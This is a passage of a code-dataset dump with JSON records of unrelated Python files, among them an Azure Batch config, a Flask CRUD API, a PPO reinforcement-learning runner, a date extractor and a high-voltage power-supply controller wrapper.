ano=62)","sub_path":"semana_3/aula2_python/funcoes.py","file_name":"funcoes.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"144886703","text":"import os\nimport re\nimport logging\nimport azure.batch.batch_service_client as batch\nimport azure.batch.batch_auth as batchauth\nfrom azure.common.credentials import ServicePrincipalCredentials\nfrom azure.mgmt.batch import BatchManagementClient\n\nRESOURCE_ID_PATTERN = re.compile('^/subscriptions/(?P[^/]+)'\n '/resourceGroups/(?P[^/]+)'\n '/providers/[^/]+'\n '/[^/]+Accounts/(?P[^/]+)$')\n\naccount_name = os.environ[\"AZ_BATCH_ACCOUNT_NAME\"]\naccount_key = os.environ[\"BATCH_ACCOUNT_KEY\"]\nservice_url = os.environ[\"BATCH_SERVICE_URL\"]\ntenant_id = os.environ[\"SP_TENANT_ID\"]\nclient_id = os.environ[\"SP_CLIENT_ID\"]\ncredential = os.environ[\"SP_CREDENTIAL\"]\nbatch_resource_id = os.environ[\"SP_BATCH_RESOURCE_ID\"]\nstorage_resource_id = os.environ[\"SP_STORAGE_RESOURCE_ID\"]\n\npool_id = os.environ[\"AZ_BATCH_POOL_ID\"]\nnode_id = os.environ[\"AZ_BATCH_NODE_ID\"]\nis_dedicated = os.environ[\"AZ_BATCH_NODE_IS_DEDICATED\"]\n\nspark_web_ui_port = os.environ[\"SPARK_WEB_UI_PORT\"]\nspark_worker_ui_port = os.environ[\"SPARK_WORKER_UI_PORT\"]\nspark_jupyter_port = os.environ[\"SPARK_JUPYTER_PORT\"]\nspark_job_ui_port = os.environ[\"SPARK_JOB_UI_PORT\"]\n\ndef get_client() -> batch.BatchServiceClient:\n if not batch_resource_id:\n base_url=service_url\n credentials = batchauth.SharedKeyCredentials(\n account_name,\n account_key)\n else:\n credentials = ServicePrincipalCredentials(\n client_id=client_id,\n secret=credential,\n tenant=tenant_id,\n resource='https://management.core.windows.net/')\n m = RESOURCE_ID_PATTERN.match(batch_resource_id)\n batch_client = BatchManagementClient(credentials, m.group('subscription'))\n account = batch_client.batch_account.get(m.group('resourcegroup'), m.group('account'))\n base_url = 'https://%s/' % account.account_endpoint\n credentials = ServicePrincipalCredentials(\n client_id=client_id,\n secret=credential,\n tenant=tenant_id,\n resource='https://batch.core.windows.net/')\n\n return batch.BatchServiceClient(credentials, base_url=base_url)\n\nbatch_client = get_client()\n\nlogging.info(\"Pool id is %s\", pool_id)\nlogging.info(\"Node id is %s\", node_id)\nlogging.info(\"Batch account name %s\", account_name)\nlogging.info(\"Is dedicated %s\", is_dedicated)\n","sub_path":"node_scripts/core/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"340573528","text":"from .languages import LANGUAGES\n\ndef detect_language(text, languages=LANGUAGES):\n '''Detects language name based on # of matches of common words to words in text'''\n \n #lists that will hold counts for each language\n lang_match_counts = [] \n \n #iterate sequentially through languages list\n for language in range(len(languages)): \n \n lang_match_counts.append(0) #initialize the language match word count for the language\n common_word_set = languages[language]['common_words'] \n #access to language's common words\n \n for word in common_word_set: \n lang_match_counts[language] += text.count(\" \" + word)\n \n #send lang_match_counts to function that matches it to the language, depending on its index\n index_of_language = which_language(lang_match_counts)\n return languages[index_of_language]['name']\ndef which_language(match_counts):\n '''helps determines the language by returning the index of match_counts that has\n the highest value, which corresponds to language name in lang_list'''\n high = 0 #holds highest value of match_counts, initiallizing here\n for item in range (len(match_counts)): \n #goes through match_counts and saves index of highest value \n if match_counts[item]>high:\n high = match_counts[item] \n highindex = item\n return highindex\n ","sub_path":"language_detector/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"23230635","text":"class Fibber:\n\n def __init__(self):\n self.memo = {}\n\n def fib(self, n):\n if n < 0:\n raise Exception(\"Index was negative\")\n\n elif n in [0, 1]:\n return n\n\n if n in self.memo:\n print(\"grabbing memo[%i]\") % n\n return self.memo[n]\n\n print(\"computing fib(%i)\") %n\n result = self.fib(n - 1) + self.fib(n - 2)\n\n # memoize\n self.memo[n] = result\n\n return result\n","sub_path":"Memoization/Memoization.py","file_name":"Memoization.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"635627441","text":"from Colour import Color, Colour\nfrom pytest import mark\nparametrize = mark.parametrize\n\n\n@parametrize('Colour', (Colour, Color))\n@parametrize('r,g,b', ((0, 0, 0), (0.2, 0.3, 0.7), (1, 1, 1)))\ndef test_rgb_01_should_be_retreivable(Colour, r, g, b):\n c = Colour.from_rgb_01(r, g, b)\n assert c.as_rgb_01() == (r, g, b)\n\n\n@parametrize('Colour', (Colour, Color))\n@parametrize('name, rgb',\n (('BLACK', (0, 0, 0)),\n ('WHITE', (1, 1, 1)),\n ('RED', (1, 0, 0)),\n ('GREEN', (0, 1, 0)),\n ('BLUE', (0, 0, 1)),\n ('YELLOW', (1, 1, 0)),\n ('CYAN', (0, 1, 1)),\n ('MAGENTA', (1, 0, 1))))\ndef test_named_colours_should_be_available(Colour, name, rgb):\n assert getattr(Colour, name).as_rgb_01() == rgb\n\n\n@parametrize('Colour', (Colour, Color))\n@parametrize('r, g, b, fff',\n ((0, 0, 0, '000'),\n (0.5, 0.5, 0.5, '777'),\n (1, 1, 1, 'fff')))\ndef test_rgb_f_should_be_retreivable_from_rgb_01(Colour, r, g, b, fff):\n c = Colour.from_rgb_01(r, g, b)\n assert c.as_rgb_f() == fff\n\n\n@parametrize('Colour', (Colour, Color))\n@parametrize('original', ('012', '345', '678', '9ab', 'cde', 'fed'))\ndef test_rgb_f_should_have_stable_roundtrip(Colour, original):\n assert Colour.from_rgb_f(original).as_rgb_f() == original\n","sub_path":"color_test.py","file_name":"color_test.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"531099219","text":"from flask import Flask, jsonify, abort, request, make_response\nfrom backend_1 import return_people_back, return_one_person_back, create_new_person_back, update_person_back, \\\n delete_person_back\n\napp = Flask(__name__)\n\n\n@app.errorhandler(404)\ndef not_found(error):\n return make_response(jsonify({'error': 'resource not found'}), 404)\n\n\n@app.errorhandler(400)\ndef bad_request(error):\n return make_response(jsonify({'error': 'bad request'}), 400)\n\n\n@app.route('/people', methods=['GET'])\ndef get_people():\n people = return_people_back()\n return jsonify({'people': people})\n\n\n@app.route('/people', methods=['POST'])\ndef create_person():\n if not request.json:\n abort(400)\n new_person = create_new_person_back(data=request.json)\n return jsonify({'new person': new_person})\n\n\n@app.route('/people/', methods=['GET'])\ndef get_person(person_id):\n _, person = return_one_person_back(person_id=person_id)\n if person is None:\n abort(404)\n else:\n return jsonify({'person': person})\n\n\n@app.route('/people/', methods=['PUT'])\ndef update_person(person_id):\n if not request.json:\n abort(400)\n updated_person = update_person_back(update_data=request.json, person_id=person_id)\n if updated_person is None:\n abort(404)\n return jsonify({'modified person': updated_person})\n\n\n@app.route('/people/', methods=['DELETE'])\ndef delete_person(person_id):\n person_to_delete = delete_person_back(person_id=person_id)\n if person_to_delete is None:\n abort(404)\n else:\n return jsonify({'deleted person': person_to_delete})\n\n\nif __name__ == '__main__':\n app.run(debug=False, host='0.0.0.0')\n","sub_path":"api_2.py","file_name":"api_2.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"370547069","text":"#!/usr/bin/python\n# Classification (U)\n\n\"\"\"Program: single_node_chk.py\n\n Description: Unit testing of single_node_chk in mongo_rep_admin.py.\n\n Usage:\n test/unit/mongo_rep_admin/single_node_chk.py\n\n Arguments:\n\n\"\"\"\n\n# Libraries and Global Variables\n\n# Standard\nimport sys\nimport os\n\nif sys.version_info < (2, 7):\n import unittest2 as unittest\nelse:\n import unittest\n\n# Third-party\n\n# Local\nsys.path.append(os.getcwd())\nimport mongo_rep_admin\nimport version\n\n__version__ = version.__version__\n\n\nclass Server(object):\n\n \"\"\"Class: Server\n\n Description: Class stub holder for mongo_class.Server class.\n\n Methods:\n __init__\n adm_cmd\n\n \"\"\"\n\n def __init__(self):\n\n \"\"\"Method: __init__\n\n Description: Class initialization.\n\n Arguments:\n\n \"\"\"\n\n self.repset = \"RepsetName\"\n self.cmd = None\n self.status = {\"members\":\n []}\n\n def adm_cmd(self, cmd):\n\n \"\"\"Method: adm_cmd\n\n Description: Stub holder for mongo_class.Server.adm_cmd method.\n\n Arguments:\n (input) cmd -> Command.\n\n \"\"\"\n\n self.cmd = cmd\n\n return self.status\n\n\nclass UnitTest(unittest.TestCase):\n\n \"\"\"Class: UnitTest\n\n Description: Class which is a representation of a unit testing.\n\n Methods:\n setUp\n test_two_failures\n test_message_fail\n test_state_fail\n test_health_fail\n test_good\n\n \"\"\"\n\n def setUp(self):\n\n \"\"\"Function: setUp\n\n Description: Initialization for unit testing.\n\n Arguments:\n\n \"\"\"\n\n self.node = {\"name\": \"MemberName\", \"health\": 1.0, \"state\": 1,\n \"stateStr\": None, \"infoMessage\": None}\n self.results = {}\n self.results2 = {\"Health\": \"Bad\"}\n self.results3 = {\"State\": 8, \"State_Message\": \"MessageHere\"}\n self.results4 = {\"Error_Message\": \"Error_Message_Here\"}\n self.results5 = {\"Health\": \"Bad\",\n \"Error_Message\": \"Error_Message_Here\"}\n\n def test_two_failures(self):\n\n \"\"\"Function: test_two_failures\n\n Description: Test with two failures.\n\n Arguments:\n\n \"\"\"\n\n self.node[\"infoMessage\"] = \"Error_Message_Here\"\n self.node[\"health\"] = 0.0\n\n self.assertEqual(\n mongo_rep_admin.single_node_chk(self.node), self.results5)\n\n def test_message_fail(self):\n\n \"\"\"Function: test_message_fail\n\n Description: Test with message failure check.\n\n Arguments:\n\n \"\"\"\n\n self.node[\"infoMessage\"] = \"Error_Message_Here\"\n\n self.assertEqual(\n mongo_rep_admin.single_node_chk(self.node), self.results4)\n\n def test_state_fail(self):\n\n \"\"\"Function: test_state_fail\n\n Description: Test with health failure check.\n\n Arguments:\n\n \"\"\"\n\n self.node[\"state\"] = 8\n self.node[\"stateStr\"] = \"MessageHere\"\n\n self.assertEqual(\n mongo_rep_admin.single_node_chk(self.node), self.results3)\n\n def test_health_fail(self):\n\n \"\"\"Function: test_health_fail\n\n Description: Test with health failure check.\n\n Arguments:\n\n \"\"\"\n\n self.node[\"health\"] = 0.0\n\n self.assertEqual(\n mongo_rep_admin.single_node_chk(self.node), self.results2)\n\n def test_good(self):\n\n \"\"\"Function: test_good\n\n Description: Test with good status return on all checks.\n\n Arguments:\n\n \"\"\"\n\n self.assertEqual(\n mongo_rep_admin.single_node_chk(self.node), self.results)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"test/unit/mongo_rep_admin/single_node_chk.py","file_name":"single_node_chk.py","file_ext":"py","file_size_in_byte":3655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"515525543","text":"\"\"\"\n单进程\n运行流程:\n1. 创建环境, ac(agent), storage.\n2. 采样 并 存入 storage\n3. 更新\n\"\"\"\nimport math\nimport numpy as np\nimport torch\n\nfrom utils.env_utils import func_env_infos\nfrom storage.storage import Storage\nfrom algorithms.ppo import PPO\n\nfrom parallel_env.parallel_env import make_parallel_envs\nfrom collections import deque\n\nfrom ac.ac import AC\n\n\ndef main(args):\n\n save_path = args.env_name + \"_\" + args.alg + \".pt\"\n\n envs = make_parallel_envs(args.env_name, args.num_workers)\n obs_shape, action_space_shape, action_shape, action_type = func_env_infos(args.env_name)\n\n hidden_state_shape = obs_shape\n\n hidden_feature_shape = tuple(map(lambda x: x*3, obs_shape))\n\n actor_critic = AC(args.base_nn, obs_shape, hidden_state_shape, hidden_feature_shape,\n action_space_shape, action_type)\n\n if args.alg == \"ppo\":\n alg = PPO(\n actor_critic,\n args.lr,\n args.mini_batch_size,\n args.clip_eps,\n args.critic_coef,\n args.entropy_coef,\n args.update_epochs,\n args.max_grad_norm\n )\n else:\n raise NotImplementedError\n\n storage = Storage(obs_shape, action_shape, hidden_state_shape, args.num_workers,\n args.num_steps)\n\n # : 所有workers, 0 第一步, 初始化状态必不为结束状态。\n # 此时,对应的mask应该为1-> done 为False\n storage.obs_vec[:, 0] = envs.reset()\n\n num_updates = int(args.num_env_steps) // args.num_steps // args.num_workers\n reward_q = deque(maxlen=args.num_workers)\n\n for num_update_ in range(num_updates):\n for step_ in range(args.num_steps): # 对应storage大小\n with torch.no_grad(): # 采样, h_n 为当前状态的h_n\n values, actions, h_ns, log_probs = actor_critic.act(*storage.retrive_act_data(step_))\n next_obs, rewards, dones, infos = envs.step(actions.numpy()) # 这里的数据已经排序完成\n\n masks = np.array([0. if done else 1. for done in dones])\n bad_masks = np.array([0. if 'bad_transition' in info.keys() else 1. for info in infos]) # 最大步数限制\n\n for info in infos:\n if \"reward\" in info.keys():\n reward_q.append(info['reward'])\n\n storage.push(next_obs, actions.numpy(), h_ns.numpy(),\n rewards, values.numpy(), log_probs.numpy(), masks, bad_masks)\n\n with torch.no_grad():\n # 获取storage中最后一个状态的value\n values = actor_critic.get_value(*storage.retrive_act_data(args.num_steps)).detach()\n\n storage.values_vec[:, -1] = values.numpy()\n\n alg.update(storage)\n\n storage.after_update()\n\n r_list = []\n if len(reward_q) == args.num_workers:\n while reward_q:\n r_list.append(reward_q.pop())\n\n if r_list:\n r_nd = np.array(r_list)\n print(\"Update times: {}, max reward: {}, min reward: {}, mean reward: {}\".format(\n (num_update_+1), r_nd.max(), r_nd.min(), r_nd.mean())\n )\n\n envs.close()\n\n torch.save(actor_critic.state_dict(), save_path)\n print(\"done\")\n\n\nif __name__ == '__main__':\n import argparse\n import logging\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--env_name\", type=str, default=\"MountainCarContinuous-v0\")\n # parser.add_argument(\"--env_name\", type=str, default=\"CartPole-v0\")\n\n parser.add_argument(\"--num_workers\", type=int, default=4)\n\n parser.add_argument(\"--num_steps\", type=int, default=10)\n\n parser.add_argument(\"--num_env_steps\", type=int, default=20000000)\n\n parser.add_argument(\"--base_nn\", type=str, default=\"mlp\")\n\n parser.add_argument(\"--lr\", type=float, default=5e-4)\n\n parser.add_argument(\"--mini_batch_size\", type=int, default=10)\n\n parser.add_argument(\"--clip_eps\", type=float, default=0.2)\n\n parser.add_argument(\"--critic_coef\", type=float, default=0.5)\n\n parser.add_argument(\"--entropy_coef\", type=float, default=0.01)\n\n parser.add_argument(\"--update_epochs\", type=int, default=4)\n\n parser.add_argument(\"--max_grad_norm\", type=float, default=0.5)\n\n parser.add_argument(\"--log_file\", type=str, default=\"\")\n\n parser.add_argument(\"--alg\", type=str, default=\"ppo\")\n\n args = parser.parse_args()\n\n # logging.basicConfig(filename=args.log_file, level=logging.INFO)\n\n main(args)\n","sub_path":"run/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"81666623","text":"# Copyright (c) 2015 Ultimaker B.V.\n# Uranium is released under the terms of the AGPLv3 or higher.\n\nfrom PyQt5.QtCore import pyqtSlot, pyqtProperty, pyqtSignal, QObject, QVariant, QUrl\n\nfrom UM.Application import Application\nfrom UM.PluginRegistry import PluginRegistry\n\nclass ActiveProfileProxy(QObject):\n def __init__(self, parent = None):\n super().__init__(parent)\n self._setting_values = None\n self._active_profile = None\n Application.getInstance().getMachineManager().activeProfileChanged.connect(self._onActiveProfileChanged)\n self._onActiveProfileChanged()\n\n activeProfileChanged = pyqtSignal()\n\n @pyqtProperty(bool, notify = activeProfileChanged)\n def valid(self):\n return self._active_profile != None\n\n settingValuesChanges = pyqtSignal()\n @pyqtProperty(\"QVariant\", notify = settingValuesChanges)\n def settingValues(self):\n return self._setting_values\n\n @pyqtSlot(str, \"QVariant\")\n def setSettingValue(self, key, value):\n if key in self._setting_values and self._setting_values[key] == value:\n return\n\n self._active_profile.setSettingValue(key, value)\n\n def _onActiveProfileChanged(self):\n if self._active_profile:\n self._active_profile.settingValueChanged.disconnect(self._onSettingValuesChanged)\n\n self._active_profile = Application.getInstance().getMachineManager().getActiveProfile()\n self.activeProfileChanged.emit()\n\n if self._active_profile:\n self._active_profile.settingValueChanged.connect(self._onSettingValuesChanged)\n self._onSettingValuesChanged()\n\n def _onSettingValuesChanged(self, setting = None):\n self._setting_values = self._active_profile.getAllSettingValues()\n self.settingValuesChanges.emit()\n\ndef createActiveProfileProxy(engine, script_engine):\n return ActiveProfileProxy()\n\n","sub_path":"UM/Qt/Bindings/ActiveProfileProxy.py","file_name":"ActiveProfileProxy.py","file_ext":"py","file_size_in_byte":1893,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"78189769","text":"\n\n#calss header\nclass _SMASHED():\n\tdef __init__(self,): \n\t\tself.name = \"SMASHED\"\n\t\tself.definitions = [u'extremely drunk, or powerfully affected by illegal drugs']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_smashed.py","file_name":"_smashed.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"147774594","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\nlist1=[1,2,3,4,5,6,6,765,34,4,5]\nlist2=[]\nfor each in list1:\n if each%3==0:\n list2.append(each)\nprint(list2) \n \n\n\n# In[9]:\n\n\nlist1=[1,2,3,4,5,6,6,765,34,4,5]\nlist1.sort(reverse= 1)\n\n\n# In[10]:\n\n\nlist1\n\n\n# In[14]:\n\n\nlist2=[('a',2),('b',56),('c',76),('d',334),('e',4)]\nprint (list2)\n\n\n# In[17]:\n\n\ndef fun1(x):\n print(x)\n return x [1]\nlist2.sort(key=fun1) \n\n\n# In[20]:\n\n\nvalue=[0,1,2,10,4,1,0,56,2,0,1,3,0,0,56,4]\nvalue.sort()\nprint (value)\n\n\n# In[21]:\n\n\nvalue\n\n\n# In[36]:\n\n\ndef mergesortedArrays(arr1,arr2):\n i=0\n j=0\n len1 = len(arr1)\n len2 = len(arr2)\n arr = []\n while ((i1:\n ind = s.index(last_token.split()[0])\n else:\n ind = s.index(last_token)\n prev_token = weeks_dict[lang]\n\n if s[ind-1] in prev_token.keys():\n week_inc = prev_token[s[ind-1]]\n flag_value = 1\n last_token = s[ind-1]+' '+last_token\n # rem_string=org_string.split(last_token)\n\n if week_inc:\n w_d = mod_val(week_inc)\n else:\n w_d = mod_val\n\n final_date = change_datetime(flag_value,d = day,week_day = w_d)\n if flag_value == 1:\n todays_date = datetime.today().strftime('%d/%m/%Y')\n if final_date == todays_date:\n w_d = mod_val(week_inc+week_inc)\n final_date = change_datetime(flag_value, d = day, week_day = w_d)\n modified_dict[last_token] = final_date\n\n # final_date = expected_day.strftime(\"%d/%m/%Y\")\n if modified_dict:\n new_string = org_string\n for k, v in modified_dict.items():\n final_date_list.append(v)\n new_string = new_string.replace(k,\"D@te\")\n rem_string = new_string.split('D@te')\n return(final_date_list,rem_string)\n\n\nif __name__ == '__main__':\n fptr = open('test_lines')\n for s in fptr:\n orginal_line = s.strip('\\n')\n s = s.strip('\\n').replace(',',' ')\n s = s.replace(' ',' ')\n if s.startswith('#') or s == '':\n pass\n else:\n print('input_string:',s)\n lang = 'english'\n d = date_extract(s,lang)\n t=time_extractor(s,lang)\n\n if d!=():\n print('Date:',d[0])\n else:\n print('Date:',d)\n if t!=[]:\n print('time:',t)\n else:\n print('Time:','')\n\n\n","sub_path":"date_extract_final.py","file_name":"date_extract_final.py","file_ext":"py","file_size_in_byte":7226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"491005528","text":"# *************************************************************************************\n# By: Jon Ringuette\n# Created: March 23 2020 - During the great plague\n# Purpose: Provide a higher level wrapper for the wrapped c-api provided by caen.py\n# If one is going to interface with the CAEN it should be via this wrapper layer\n# unless one needs direct access to the hardware which should be unusual.\n# *************************************************************************************\n\nfrom lib.caen import CAEN_Controller as CC # This is my low level wrapper for the actual C-Api\nfrom pprint import pprint\n\n# *************************************************************************************\n# HVPS_Channel\n# Setup a class of objects that represent one channel on the HVPS\n# This allows one to easily create a list of these objects which can represent all the\n# channels on the HVPS\n# *************************************************************************************\n\n\nclass HVPS_Class:\n def __init__(self, caen_system_info_dict, max_bias_voltage=12, max_ramp_rate=1):\n self.max_bias_voltage = max_bias_voltage\n self.max_ramp_rate = max_ramp_rate\n self.hvps_systems_objects_list = []\n self.caen_system_info_dict = caen_system_info_dict\n self.init_hvps()\n\n def __del__(self):\n self.deinit_all_hvps()\n\n def init_hvps(self):\n # init_hvps: Intialize and get a handle for the HVPS, this automatically happens when you instantiate the object\n self.hvps_systems_objects_list.append(CC(int(self.caen_system_info_dict[\"system_type\"]),\n self.caen_system_info_dict[\"hostname\"],\n self.caen_system_info_dict[\"username\"],\n self.caen_system_info_dict[\"password\"],\n self.caen_system_info_dict[\"device_name\"],\n int(self.caen_system_info_dict[\"link_type\"])))\n\n return 0\n\n def deinit_all_hvps(self):\n # deinit_all_hvps: Loop though all devices and deinit them all\n for hvps_device in self.hvps_systems_objects_list:\n hvps_device.deinit()\n\n def decode_chstatus(self, chstatus):\n # decode_chstatus: Fun with binary, the chstatus comes in the form of a binary number with each position in the\n # sequence that is a 1 represents a different status. Such as 0b0000000000001 would read as 0 bit is 1\n # which would indicate that the channel is ON\n chstatus_dict = {'on': 0, 'rup': 0, 'rdown': 0, 'overcurrent': 0, 'overvoltage': 0, 'undervoltage': 0, 'ext_trip': 0, 'maxv': 0,\n 'ext_disable': 0, 'int_trip': 0, 'inhibit_trip': 0, 'unplugged': 0, 'overvoltage_protection': 0,\n 'power_fail': 0, 'temp_error': 0}\n\n chstatus_dict['on'] = chstatus & (1 << 0) # bit 0\n chstatus_dict['rup'] = chstatus & (1 << 1) # bit 1\n chstatus_dict['rdown'] = chstatus & (1 << 2) # bit 2\n chstatus_dict['overcurrent'] = chstatus & (1 << 3) # bit 3\n chstatus_dict['overvoltage'] = chstatus & (1 << 4) # bit 4\n chstatus_dict['undervoltage'] = chstatus & (1 << 5) # bit 5\n chstatus_dict['ext_trip'] = chstatus & (1 << 6) # bit 6\n chstatus_dict['maxv'] = chstatus & (1 << 7) # bit 7\n chstatus_dict['ext_disable'] = chstatus & (1 << 8) # bit 8\n chstatus_dict['int_trip'] = chstatus & (1 << 9) # bit 9\n chstatus_dict['inhibit_trip'] = chstatus & (1 << 10) # bit 10\n chstatus_dict['unplugged'] = chstatus & (1 << 11) # bit 11\n chstatus_dict['overvoltage_protection'] = chstatus & (1 << 13) # bit 13\n chstatus_dict['power_fail'] = chstatus & (1 << 14) # bit 14\n chstatus_dict['temp_error'] = chstatus & (1 << 15) # bit 15\n\n return chstatus_dict\n\n def get_object_entry_for_hvps_by_name(self, hvps_name):\n # get_object_entry_for_hvps_by_name: Runs though the object list looking for an HVPS with the name and\n # returns that object. Keep in mind that I didn't not complete all the work\n # on supporting multiple HVPS's but quite a bit of it is in here.\n if len(self.hvps_systems_objects_list) == 1 and hvps_name is None: # If we have only one, the normal case, just return the first item\n hvps_entry = self.hvps_systems_objects_list[0]\n else:\n hvps_entry = next((hvps_entry for hvps_entry in self.hvps_systems_objects_list if hvps_entry.device_name == hvps_name), None)\n return hvps_entry\n\n def bias_channel(self, hvps_name, slot, channel, bias_voltage):\n # bias_channel: You guessed it, this allows us to specify a channel and what voltage we would like to set it at\n hvps_entry = self.get_object_entry_for_hvps_by_name(hvps_name)\n print(\"BIAS - DEVICE:\", hvps_entry.device_name, \" CHANNEL:\", channel, \"SLOT:\", slot)\n hvps_entry.set_channel_parameter(slot, channel, 'Pw', 1) # Enable the channel first\n hvps_entry.set_channel_parameter(slot, channel, 'VSet', bias_voltage) # Then set the voltage\n\n def set_channel_param(self, hvps_name, slot, channel, param, param_value):\n # set_channel_param: Sets the channel parameter such as RUp, RDown, ISet, etc..\n hvps_entry = self.get_object_entry_for_hvps_by_name(hvps_name)\n print(\"SET PARAM - DEVICE:\", hvps_entry.device_name, \" CHANNEL:\", channel, \"SLOT:\", slot, \"Parameter:\", param, \"=\", param_value)\n hvps_entry.set_channel_parameter(slot, channel, param, param_value)\n\n def unbias_channel(self, hvps_name, slot, channel):\n # unbias_channel: yup, unbias a specific channel by setting it's VSet parameter to 0\n hvps_entry = self.get_object_entry_for_hvps_by_name(hvps_name)\n print(\"UNBIAS - DEVICE:\", hvps_entry.device_name, \"CHANNEL:\", channel, \"SLOT:\", slot)\n hvps_entry.set_channel_parameter(slot, channel, 'VSet', 0)\n\n def get_channel_parameters(self, hvps_name, slot, channel):\n # get_channel_parameters: Get all the parameters for a specific channel and return them\n hvps_entry = self.get_object_entry_for_hvps_by_name(hvps_name)\n parameter_list = hvps_entry.get_channel_paramters(slot, channel)\n return parameter_list\n\n def show_channel_status(self, channel_status_list):\n # show_channel_status: Display all the parameter values for channels passed to it\n for channel_dict in channel_status_list[0]:\n my_status = \"\"\n # print(\"Slot:\", channel_dict['slot'], end=' | ')\n # print(\"Channel Name:\", channel_dict['chan_name'], end=' | ')\n print(\"Channel#:\", channel_dict['chan_num'], end=' | ')\n for channel_params in channel_dict['chan_info']:\n if channel_params['parameter'] == \"Status\":\n # Attempt to decode the channel status, I'm not sure if this is working correctly\n status_code_dict = self.decode_chstatus(channel_params['value'])\n for my_status_code in status_code_dict:\n if status_code_dict[my_status_code] >= 1:\n my_status = my_status + my_status_code + ',' # We can have multiple channel status messages, I think...\n else:\n print(channel_params['parameter'], ':', f\"{channel_params['value']:.1f}\", end=' | ')\n if my_status == \"\":\n my_status = \"Off\"\n print(\"Status :\", my_status)\n\n def status_channel(self, hvps_name, slot, channel):\n # status_channel: Get the parameters and values for an individual channel\n channel_status_list = []\n hvps_entry = self.get_object_entry_for_hvps_by_name(hvps_name)\n channel_status_list.append(hvps_entry.get_all_info_for_channels(slot, [channel]))\n return channel_status_list\n\n def set_channel_name(self, hvps_name, slot, channel, channel_name):\n # set_channel_name: Attempts to set the channel name, I don't think our HVPS likes this..\n hvps_entry = self.get_object_entry_for_hvps_by_name(hvps_name)\n hvps_entry.set_channel_name(slot, channel, channel_name)\n return\n\n def get_all_crates_info(self):\n # get_all_crates_info: Attempt to get all the information such as slot # and firmware version for all crates used by\n # the configured HVPS's\n crate_info_list = []\n for hvps_entry in self.hvps_systems_objects_list: # Loop over all the HVPS's\n device_info_dict = {\"device_name\": hvps_entry.device_name, \"hostname\": hvps_entry.hostname} # Throw in a couple extra pieces of data\n device_info_dict.update(hvps_entry.get_crate_info()) # combine dict's\n crate_info_list.append(device_info_dict)\n return crate_info_list\n\n def get_all_channel_names(self):\n # get_all_channel_names: Loops over all HVPS's and gets the channel names for them all\n full_list_of_channel_names = []\n crate_info_list = self.get_all_crates_info() # Get all the crates\n device_and_channel_dict = {}\n for my_crate in crate_info_list: # Loop over all the crates\n list_of_channel_names = []\n hvps_entry = self.get_object_entry_for_hvps_by_name(my_crate['device_name'])\n for my_slot in range(0, my_crate['num_of_slots']): # Loop over all the slots in the crates\n list_of_channel_names.extend(hvps_entry.get_channel_names(my_slot, list(range(0, my_crate['num_of_channels'])))) # Get all channel names\n # Put all the info into a list of dicts\n device_and_channel_dict = {'device_name': my_crate['device_name'], 'channel_names': list_of_channel_names}\n full_list_of_channel_names.append(device_and_channel_dict)\n return full_list_of_channel_names\n\n def get_all_crate_channel_statuses(self, my_hpvs_crate):\n # get_all_crate_channel_statuses: big aggragate function that tries to get all the channel info for every configured HVPS\n channel_status_list = []\n crate_info_dict = my_hpvs_crate.get_crate_info()\n for my_slot in range(0, crate_info_dict['num_of_slots']):\n channel_status_list.append(my_hpvs_crate.get_all_info_for_channels(my_slot, list(range(0, crate_info_dict['num_of_channels']))))\n return channel_status_list\n\n def status_all_channels(self, hvps_name):\n # status_all_channels: Go though all crates, hvps's and get status for every available channel\n channel_status_list = []\n if hvps_name is not None:\n hvps_entry = next((hvps_entry for hvps_entry in self.hvps_systems_objects_list if hvps_entry.device_name == hvps_name), None)\n if hvps_entry is None:\n print(\"Could not find HVPS name:\", hvps_name)\n exit(1)\n channel_status_list.append(self.get_all_crate_channel_statuses(hvps_entry)) # List of dict's\n else:\n for my_hvps in self.hvps_systems_objects_list:\n channel_status_list.append(self.get_all_crate_channel_statuses(my_hvps)) # list of dict's (you should sense a theme by now)\n for hvps_entry in channel_status_list:\n self.show_channel_status(hvps_entry)\n return channel_status_list\n\n def find_channel_by_name(self, chan_name):\n # find_channel_by_name: I haven't found a good enough of a use case to actually impliment this.\n return\n","sub_path":"lib/hvps.py","file_name":"hvps.py","file_ext":"py","file_size_in_byte":11719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"618296007","text":"# Python | Frequency of each character in String\n\ndef freq_char(str):\n result = {}\n for char in str:\n if char in result:\n result[char] += 1\n else:\n result[char] = 1\n #return result.items()\n return (''.join(['%s%s' %(key,value) for (key,value) in 